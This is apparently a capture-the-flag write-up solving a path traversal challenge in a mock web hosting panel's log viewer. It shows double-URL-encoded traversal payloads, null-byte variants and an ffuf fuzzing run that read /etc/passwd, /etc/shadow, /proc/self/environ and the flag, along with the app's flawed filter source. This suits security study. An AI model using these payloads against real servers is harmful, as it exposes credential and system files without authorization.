Mirage
NovaPan's log viewer seems a little too helpful. Can you see past the mirage?
Room Description
https://dashboard.webverselabs-pro.com/challenges/mirage

Okay, this is a completely different kind of environment compared to the labs we've done.
NovaPan is a popular web hosting control panel used by thousands of small businesses. A recent security audit flagged the log viewer feature as 'low risk' after basic path traversal attempts were blocked. Your job is to prove the auditors wrong.

No VPN is required, publicly accessible URL, shorter solve time.
Initial Analysis

So we have the dashboard, /sites, /logs and /settings.
I can't find a way to reach our profile, so might just be a hardcoded value.
Finding the bug
The challenge is labeled as LFI, and it even tells us that the "log viewer" feature was the thing being audited, so let's take a look at that.

We have several available logs and when we open any of them up we can see the details:

Through Burp we can see the request we send and we see that a file parameter is being sent in the URL.

Exploitation
The room description does say that basic path traversal attempts were blocked, but we need to try ourselves and see what kind of output the app gives.

We can try using ....//....// instead, but it will give us the same result.
Let's try URL encoding and see if we can get a bypass.

That didn't work, okay, similarly to DocketHive, we can try PHP wrappers.

Again, doesn't work.
We can also try mixed encoding and absolute file path, but those two don't work either.
I can't explain how many different things I tried manually cause I thought this would be an easy win, and I will try to let you get into my head on how dumb dumb I feel now.
I spent significant time analyzing the log files for hidden flags:
- Session tokens:
s_a8f3e2,s_d4b721,s_ee1290 - Deployment IDs:
dp_7b2a10,dp_9c4e55 - Container tags:
a1b2c3d,b7a3d12 - Backup IDs:
bk_acme_0414 - API endpoints:
/api/v2/deploy,/api/v2/billing - Email obfuscation strings in CloudFlare's
data-cfemailattributes
Finding: Spinning up a second instance revealed all these values were static - they were part of the template, not the flag. The logs were a distraction (hence "Mirage" this is me literally coping, I don't really understand the Mirage part of this challenge).
Analyzing the filter (educated guesses)
Filter Analysis
The security filter blocks any input containing, this is to the best of my knowledge:
.(dot) - prevents..traversal and file extensions/(forward slash) - prevents directory traversal\(backslash) - prevents Windows paths
Behavior:
| Input Type | Filter Result | HTTP Status | Message | | -------------------------------------- | ------------- | ----------- | --------------------------------------- | | Contains /, ., \ | Blocked | 403 | "Access denied — invalid path detected" | | No malicious chars, file doesn't exist | Passed | 404 | "Log file not found" | | Whitelisted log file | Passed | 200 | Displays log content |
Bypassing the filter
Tried numerous bypass techniques:
Encoding Bypasses (Failed to traverse):
- UTF-8 overlong:
%c0%afetc%c0%afpasswd-> 404 (filter passed, path invalid) - Unicode slash:
%ef%bc%8fetc%ef%bc%8fpasswd-> 404 - Double-encoded backslash:
%255cetc%255cpasswd-> 404 - PHP wrappers:
php://filter/convert.base64-encode/resource=/etc/passwd-> 404 - File URI:
file:///etc/passwd-> 404
Mixed Encoding (Blocked):
..%252f..%252f..%252fetc/passwd
Response: 403 - The unencoded .. triggered the filter.
Null Byte Injection (Server Error):
%00/etc/passwd%00
etc/shadow%00
Response: 500 Internal Server Error - Application crash, but no file read.
And then I finally gave up, obviously this wasn't as simple as I thought, and I couldn't solve it manually or by just thinking of methodology off the top of my head so I decided to just draw a hardline that this is just an LFI blacklist bypass challenge and used wordlists to find the answer.
┌──(kali㉿kali)-[/usr/share/seclists/Fuzzing/LFI]
└─$ ffuf -u "https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=FUZZ" \
-w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fw 0 \
-fc 403,404 \
-v
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 403,404
:: Filter : Response words: 0
________________________________________________
[Status: 200, Size: 16791, Words: 5599, Lines: 535, Duration: 1530ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/shadow
* FUZZ: %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/shadow
[Status: 500, Size: 16045, Words: 5559, Lines: 512, Duration: 1530ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=%00/etc/passwd%00
* FUZZ: %00/etc/passwd%00
[Status: 500, Size: 16045, Words: 5559, Lines: 512, Duration: 1647ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=%00/etc/shadow%00
* FUZZ: %00/etc/shadow%00
[Status: 200, Size: 17156, Words: 5601, Lines: 535, Duration: 3210ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
* FUZZ: %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
[Status: 500, Size: 16041, Words: 5559, Lines: 512, Duration: 2015ms]
| URL | https://75ce0070-3970-mirage-80b3b.challenges.webverselabs-pro.com/logs/view?file=etc/shadow%00
* FUZZ: etc/shadow%00
:: Progress: [930/930] :: Job [1/1] :: 21 req/sec :: Duration: [0:00:44] :: Errors: 0 ::

Using ffuf with the LFI-Jhaddix.txt wordlist, we discovered that deeply nested double-encoded traversals returned 200 OK instead of 403:
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
This payload uses 10 levels of .. traversal, all double-URL-encoded. The filter sees the literal string (no dots or slashes), but after multiple rounds of URL decoding by the application server, it eventually resolves to a valid path traversal!
The realization
And this is where it hit me, I never did double URL encoding properly so the solution isn't regarding deep nested traversal, it's regular double encoding.. I just did something with the backslashes instead of fully URL encoding the payload twice.
The wordlist helped, but also the payload ../../flag.txt would've worked if we just did proper double URL encoding with Burp.

Select our payload, right click for context menu and go to Convert Selection -> URL -> URL-encode all characters.



To get to the flag we can just replace etc/passwd with flag.txt and voila.

You can also get the flag by calling proc/self/environ using the same bypass technique.

Reading the source code to determine what the filter is (post-exploitation)
We can try to check usual app locations like /var/www/html, main.py, app.py and other filenames to hope and find the app, but this is just blindly guessing, we don't really know what it is.
We can try to check /proc/self/cwd and /proc/self/cmdline to see what we are working with, but unfortunately due to the output format of those files, we can't read them.
So checking /proc/self/maps is also valuable.
This does give us output and it's a large one so I won't bother adding it here, but the main takeaways are:
Python 3.11 is the interpreter: /usr/local/bin/python3.11
libpython3.11.so is loaded from /usr/local/lib/libpython3.11.so.1.0
Various Python C extensions are loaded from /usr/local/lib/python3.11/lib-dynload/
No custom application files are mapped directly from disk!
So knowing it's a Python application, we can check for index.py, main.py, application.py throughout the system. This lead us no where, so I decided to check for Docker naming conventions like /app/main.py or /app/app.py and lo and behold.

import os
import urllib.parse
from flask import Flask, request, render_template, redirect
app = Flask(__name__)
FLAG = os.environ.get("FLAG", "WEBVERSE{test_flag}")
LOGS_DIR = os.path.join(os.path.dirname(__file__), "logs")
LOG_FILES = [
{"name": "access.log", "desc": "HTTP access log", "size": "24.3 KB", "modified": "2 min ago"},
{"name": "error.log", "desc": "Application errors", "size": "8.1 KB", "modified": "14 min ago"},
{"name": "auth.log", "desc": "Authentication events", "size": "3.7 KB", "modified": "1 hr ago"},
{"name": "cron.log", "desc": "Scheduled tasks", "size": "1.2 KB", "modified": "6 hr ago"},
{"name": "deploy.log", "desc": "Deployment history", "size": "5.9 KB", "modified": "2 days ago"},
]
SITES = [
{"domain": "acmecorp.io", "status": "active", "ssl": True, "visits": "12.4K", "cpu": "3%", "plan": "Pro"},
{"domain": "blog.jdoe.dev", "status": "active", "ssl": True, "visits": "1.8K", "cpu": "1%", "plan": "Starter"},
{"domain": "staging.acmecorp.io", "status": "maintenance", "ssl": True, "visits": "342", "cpu": "0%", "plan": "Pro"},
{"domain": "oldshop.example.com", "status": "suspended", "ssl": False, "visits": "0", "cpu": "0%", "plan": "Starter"},
]
STATS = {
"sites": 4,
"bandwidth": "48.2 GB",
"storage": "12.7 / 50 GB",
"uptime": "99.97%",
"requests_today": "34,291",
"blocked_threats": "127",
"ssl_certs": 3,
"backups": 7,
}
def write_flag():
with open("/flag.txt", "w") as f:
f.write(FLAG)
@app.route("/")
def index():
return render_template("dashboard.html", stats=STATS)
@app.route("/sites")
def sites():
return render_template("sites.html", sites=SITES)
@app.route("/logs")
def logs_index():
return render_template("logs_index.html", log_files=LOG_FILES)
@app.route("/logs/view")
def view_log():
filename = request.args.get("file", "access.log")
# Security: block path traversal attempts
if ".." in filename or filename.startswith("/") or "\\" in filename:
return render_template(
"logs_view.html",
filename=filename,
content=None,
error="Access denied — invalid path detected.",
log_files=LOG_FILES,
), 403
# Normalize filename for consistent file handling
clean = urllib.parse.unquote(filename)
filepath = os.path.join(LOGS_DIR, clean)
try:
with open(filepath, "r") as f:
content = f.read()
except FileNotFoundError:
return render_template(
"logs_view.html",
filename=filename,
content=None,
error="Log file not found.",
log_files=LOG_FILES,
), 404
except Exception:
return render_template(
"logs_view.html",
filename=filename,
content=None,
error="Failed to read log file.",
log_files=LOG_FILES,
), 500
return render_template(
"logs_view.html",
filename=clean,
content=content,
error=None,
log_files=LOG_FILES,
)
@app.route("/settings")
def settings():
return render_template("settings.html")
if __name__ == "__main__":
write_flag()
app.run(host="0.0.0.0", port=80)
That's the entire application, but the part we need most is:
@app.route("/logs/view")
def view_log():
filename = request.args.get("file", "access.log")
# Security: block path traversal attempts
if ".." in filename or filename.startswith("/") or "\\" in filename:
return render_template(..., error="Access denied — invalid path detected."), 403
# Normalize filename for consistent file handling
clean = urllib.parse.unquote(filename)
filepath = os.path.join(LOGS_DIR, clean)
try:
with open(filepath, "r") as f:
content = f.read()
The Bug:
- Filter Check: The filter checks the raw
filenameparameter for..,/,\. It does NOT decode URL-encoded characters first as far as I can see. - Path Building: The code then does
clean = urllib.parse.unquote(filename)and uses that to build the filepath.
Why Our Payload Worked:
Our payload: %252e%252e%252f%252e%252e%252f...flag.txt
- Filter Check: The raw string
%252e%252e%252f...contains no dots or slashes (only%,2,5,e,f). - URL Decoding:
urllib.parse.unquote()decodes once:%252e→%2e%252f→%2f
- Result after one decode:
%2e%2e%2f%2e%2e%2f...flag.txt - File Open: The operating system receives this path. Some part of the stack does additional URL decoding, turning
%2e->.and%2f->/. - Final Path:
../../../../../../../../../flag.txt
The vulnerability is that the filter checks the raw URL-encoded string, but the path construction uses a partially decoded string, and the file system uses the fully decoded path. This is a classic URL decoding inconsistency vulnerability. Definitely a pain for me, should've just relied on automation this time around too :P.
So yep, this confirms that it has nothing to do with nesting or anything, it's just a simple double URL encode payload solution.